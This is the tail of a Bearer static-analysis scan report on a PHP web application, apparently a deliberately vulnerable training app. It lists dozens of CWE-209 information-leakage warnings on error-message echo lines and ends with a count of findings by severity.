42 echo $CustomErrorHandler->FormatError(e, "Error selecting help text entries for page " . $lPageName);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add e2aae2b6d063c1dd995742555d355984_0

File: includes/process-login-attempt.php:149

149 echo $CustomErrorHandler->FormatError(e, "Error querying user account");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 9a32bc9eaeec626511aa533833afdc15_0

File: index.php:262

262 echo $CustomErrorHandler->FormatError(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 555024a35699e5f503ab7a38a7642ce3_0

File: jwt.php:30

30 echo $CustomErrorHandler->getExceptionMessage(e, "Error setting up configuration on page jwt.php");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add a20a1fc14c0e3140f81eceb8b946eea4_0

File: labs/lab-template.inc:60

60 echo $CustomErrorHandler->FormatError(e, "Input: " . $lMessage);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 97d1b79c5033e36dda7aef7794b71eee_0

File: login.php:20

20 echo $CustomErrorHandler->FormatError(e, "Error setting up configuration.");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add ef4802938ce3d72200a39be8d51088ad_0

File: password-generator.php:39

39 echo $CustomErrorHandler->FormatError(e, "Input: " . $lUsernameForHTML);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 973a44f6629d53c96924f11ee8e84b98_0

File: pen-test-tool-lookup-ajax.php:43

43 echo $CustomErrorHandler->FormatError(e, "Error setting up configuration on page pentest-lookup-tool.php");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 973a44f6629d53c96924f11ee8e84b98_1

File: pen-test-tool-lookup-ajax.php:69

69 echo $CustomErrorHandler->FormatError(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 190288f5dffe6eec38a170b21411014d_0

File: pen-test-tool-lookup.php:46

46 echo $CustomErrorHandler->FormatError(e, "Error setting up configuration on page pentest-lookup-tool.php");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 190288f5dffe6eec38a170b21411014d_1

File: pen-test-tool-lookup.php:73

73 echo $CustomErrorHandler->FormatError(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 190288f5dffe6eec38a170b21411014d_2

File: pen-test-tool-lookup.php:118

118 echo $CustomErrorHandler->FormatError(e, "Pen test tool lookup failed");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add be2f001f56403df8fae9a5ca0fa6d6e1_0

File: redirectandlog.php:91

91 echo $CustomErrorHandler->FormatError(e, "Error in redirector. Cannot forward URL.");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 55f6385a75ada3ffe66e9cd472d493bf_0

File: register.php:96

96 echo $CustomErrorHandler->FormatError(e, "Failed to add account");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 6020d9b477cf85e9414be0c266223a06_0

File: repeater.php:92

92 echo $CustomErrorHandler->FormatError(e, "Error attempting to repeat string.");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add a27e1e8dad6bf9b1a02b25f9af4f3141_0

File: robots-txt.php:17

17 echo $CustomErrorHandler->FormatError(e, "Error attempting to set up page configuration");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 54e2776dbbaa0e1dbf82e58c683c056a_0

File: set-background-color.php:27

27 echo $CustomErrorHandler->FormatError(e, "Error setting security level");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 54e2776dbbaa0e1dbf82e58c683c056a_1

File: set-background-color.php:45

45 echo $CustomErrorHandler->FormatError(e, "Input: " . $lBackgroundColor);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add b42db702c81562176c771997afd0286f_0

File: set-up-database.php:78

78 echo $CustomErrorHandler->FormatError(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add b42db702c81562176c771997afd0286f_1

File: set-up-database.php:1270

1270 echo format("Could not write accounts XML to ".$lAccountXMLFilePath." ".e->getMessage(),"W");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add b42db702c81562176c771997afd0286f_2

File: set-up-database.php:1286

1286 echo format("Could not write accounts XML to ".$lPasswordFilePath." -".e->getMessage(),"W");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add b42db702c81562176c771997afd0286f_3

File: set-up-database.php:1299

1299 echo $CustomErrorHandler->FormatError(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add ff25330e9733d0bbb452b56c6ccd5cfb_0

File: show-log.php:125

125 echo $CustomErrorHandler->FormatError(e, "Error writing log table rows.".$lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 507a5769753a8953308abaf6b80f1625_0

File: site-footer-xss-discussion.php:47

47 echo $CustomErrorHandler->FormatError(e, $query);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 6f2138ef4dd36d6fe921ff77d8e4bbf2_0

File: source-viewer.php:47

47 echo $CustomErrorHandler->FormatError(e, "Error in text file viewer. Cannot load file.");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 6f2138ef4dd36d6fe921ff77d8e4bbf2_1

File: source-viewer.php:221

221 echo $CustomErrorHandler->FormatError(e, "Error trying to print file. Cannot load file.");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 6f2138ef4dd36d6fe921ff77d8e4bbf2_2

File: source-viewer.php:226

226 echo $CustomErrorHandler->FormatError(e, "Error in source file viewer. Cannot load file.");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 9e6f0c581552e994c5befec57d052564_0

File: styling-frame.php:45

45 echo $CustomErrorHandler->FormatError(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add eb868f87c56a5e6e931ee32bca3bfe47_0

File: styling.php:59

59 echo $CustomErrorHandler->FormatError(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 1cf8da0ff3a5d368cf770e7851264b80_0

File: test-connectivity.php:62

62 echo $CustomErrorHandler->FormatError(e, "Error setting up configuration on page test-connectivity.php");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 1cf8da0ff3a5d368cf770e7851264b80_1

File: test-connectivity.php:102

102 echo $CustomErrorHandler->FormatError(e, "Input: " . $lServerURLText);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 4e2d76d88ee17758ebaed86907e4fae0_0

File: text-file-viewer.php:48

48 echo $CustomErrorHandler->FormatError(e, "Error in text file viewer. Cannot load file.");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 4e2d76d88ee17758ebaed86907e4fae0_1

File: text-file-viewer.php:231

231 echo $CustomErrorHandler->FormatError(e, "Error opening file stream. Cannot load file.");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 4e2d76d88ee17758ebaed86907e4fae0_2

File: text-file-viewer.php:236

236 echo $CustomErrorHandler->FormatError(e, "Error in text file viewer. Cannot load file.");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 15b294a0560520a8e682d9e628405ba5_0

File: upload-file.php:118

118 echo $CustomErrorHandler->FormatError(e, "Error uploading file");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add e230b17cfece2c1f12e3e0ee75502895_0

File: user-agent-impersonation.php:39

39 echo $CustomErrorHandler->FormatError(e, "Error collecting browser information");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add b4d3fcc8fa92d22363a504d17d7fd38b_0

File: user-info-xpath.php:63

63 echo $e;

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add b4d3fcc8fa92d22363a504d17d7fd38b_1

File: user-info-xpath.php:64

64 echo $CustomErrorHandler->FormatError(e, "Error handled on page user-info-xpath.php");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add b4d3fcc8fa92d22363a504d17d7fd38b_2

File: user-info-xpath.php:223

223 echo $CustomErrorHandler->FormatError(e, "Error attempting to display user information");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add f20233b8a498fab2e9a2fda39dbea1cd_0

File: user-info.php:50

50 echo $CustomErrorHandler->FormatError(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add f20233b8a498fab2e9a2fda39dbea1cd_1

File: user-info.php:221

221 echo $CustomErrorHandler->FormatError(e, "Error attempting to display user information");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 42820f329e350296362f484617b849d7_0

File: user-poll.php:130

130 echo $CustomErrorHandler->FormatError(e, "Error inserting user vote for " . $lLoggedInUser);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 42820f329e350296362f484617b849d7_1

File: user-poll.php:134

134 echo $CustomErrorHandler->FormatError(e, "Vote was not counted");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 42820f329e350296362f484617b849d7_2

File: user-poll.php:210

210 echo $CustomErrorHandler->FormatError(e, "Error getting user votes");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 42820f329e350296362f484617b849d7_3

File: user-poll.php:248

248 echo $CustomErrorHandler->FormatError(e, "Error writing rows.");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add a1df148a534923cd18370639d6e01ae2_0

File: view-someones-blog.php:115

115 echo $CustomErrorHandler->FormatError(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add a1df148a534923cd18370639d6e01ae2_1

File: view-someones-blog.php:218

218 echo $CustomErrorHandler->FormatError(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add e8d5872e17a77ffd42e0df71b579a78f_0

File: view-user-privilege-level.php:137

137 echo $CustomErrorHandler->FormatError(e, "Error attempting to repeat string.");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 737075c025dae13991605b64a121edd3_0

File: webservices/rest/cors-server.php:148

148 echo $CustomErrorHandler->FormatError(e, "Error setting up configuration on page html5-storage.php");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 50648cad79d1a95368b9c870de165281_0

File: webservices/rest/ws-test-connectivity.php:25

25 echo $CustomErrorHandler->FormatErrorJSON(e, "Unable to process request to web service ws-test-connectivity");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 0df7cdfca9eed02847a679f2bca091f1_0

File: webservices/rest/ws-user-account.php:185

185 echo $CustomErrorHandler->FormatErrorJSON(e, "Unable to process request to web service ws-user-account");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 950012ebea0218469e1cc045efce51f2_0

File: webservices/soap/ws-lookup-dns-record.php:94

94 echo $CustomErrorHandler->FormatError(e, "Error setting up configuration on page dns-lookup.php");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 950012ebea0218469e1cc045efce51f2_1

File: webservices/soap/ws-lookup-dns-record.php:111

111 echo $CustomErrorHandler->FormatError(e, "Input: " . $pTargetHost);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 5998aeb1a19177625be0d261c762c61e_0

File: webservices/soap/ws-user-account.php:34

34 echo $CustomErrorHandler->FormatError(e, "ws-user-account.php: Unable to parse session");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 2c3fd4ba4934797a65bf74677376b0fb_0

File: xml-validator.php:91

91 echo $CustomErrorHandler->FormatError(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 2c3fd4ba4934797a65bf74677376b0fb_1

File: xml-validator.php:199

199 echo $CustomErrorHandler->FormatError(e, "Could not parse XML because the input is mal-formed or could not be interpreted.");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 2c3fd4ba4934797a65bf74677376b0fb_2

File: xml-validator.php:211

211 echo $CustomErrorHandler->FormatError(e, $lQueryString);

123 checks, 217 findings

CRITICAL: 0
HIGH: 40 (CWE-200, CWE-22, CWE-295, CWE-313, CWE-315, CWE-532, CWE-539, CWE-601, CWE-73, CWE-78, CWE-79, CWE-918)
MEDIUM: 76 (CWE-1004, CWE-319, CWE-327, CWE-614, CWE-79)
LOW: 0
WARNING: 101 (CWE-209)

Need help or want to discuss the output? Join the Community
https://discord.gg/eaHZBJUXRF

Manage your findings directly on Bearer Cloud. Start now for free https://my.bearer.sh/users/sign_up or learn more https://docs.bearer.com/guides/bearer-cloud/